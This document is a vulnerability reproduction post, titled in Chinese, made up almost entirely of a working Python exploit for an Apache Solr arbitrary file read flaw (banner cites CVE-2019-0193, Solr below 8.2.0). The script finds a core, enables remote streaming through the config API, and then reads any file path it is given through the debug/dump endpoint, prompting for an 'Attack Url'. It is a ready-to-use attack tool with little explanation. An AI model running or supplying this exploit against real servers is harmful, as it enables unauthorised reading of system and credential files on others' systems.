漏洞复现-Apache Solr 任意文件读取漏洞

#!/usr/bin/python3
# -*- coding:utf-8 -*-
# @Author : PeiQi


import requests
import sys
import random
import re
import base64
import time
from lxml import etree
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning


def title():
   print('+------------------------------------------')
   print('+ \033[34mPOC_Des: http://wiki.peiqi.tech           \033[0m')
   print('+ \033[34mGithub : https://github.com/PeiQi0       \033[0m')
   print('+ \033[34m公众号 : PeiQi文库                       \033[0m')
   print('+ \033[34mVersion: Apache Solr < 8.2.0           \033[0m')
   print('+ \033[36m使用格式: python3 CVE-2019-0193.py       \033[0m')
   print('+ \033[36mUrl   >>> http://xxx.xxx.xxx.xxx:8983 \033[0m')
   print('+ \033[36mFile   >>> 文件名称或目录                 \033[0m')
   print('+------------------------------------------')


def POC_1(target_url):
   core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json"
   try:
       response = requests.request("GET", url=core_url, timeout=10)
       core_name = list(json.loads(response.text)["status"])[0]
       print("\033[32m[o] 成功获得core_name,Url为：" + target_url + "/solr/" + core_name + "/config\033[0m")
       return core_name
   except:
       print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
       sys.exit(0)


def POC_2(target_url, core_name):
   vuln_url = target_url + "/solr/" + core_name + "/config"
   headers = {
       "Content-type":"application/json"
  }
   data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
   try:
       requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
       response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
       print("\033[36m[o] 正在准备文件读取...... \033[0m".format(target_url))
       if "responseHeader" in response.text and response.status_code == 200:
           print("\033[32m[o] 目标 {} 可能存在漏洞 \033[0m".format(target_url))
       else:
           print("\033[31m[x] 目标 {} 不存在漏洞\033[0m".format(target_url))
           sys.exit(0)


   except Exception as e:
       print("\033[31m[x] 请求失败 \033[0m", e)


def POC_3(target_url, core_name, File_name):
   vuln_url = target_url + "/solr/{}/debug/dump?param=ContentStreams".format(core_name)
   headers = {
       "Content-Type": "application/x-www-form-urlencoded"
  }
   data = 'stream.url=file://{}'.format(File_name)
   try:
       requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
       response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
       if "No such file or directory" in response.text:    
           print("\033[31m[x] 读取{}失败 \033[0m".format(File_name))
       else:
           print("\033[36m[o] 响应为:\n{} \033[0m".format(response.text))


   except Exception as e:
       print("\033[31m[x] 请求失败 \033[0m", e)


if __name__ == '__main__':
   title()
   target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
   core_name = POC_1(target_url)
   POC_2(target_url, core_name)
   while True:
       File_name = str(input("\033[35mFile >>> \033[0m"))
       POC_3(target_url, core_name, File_name)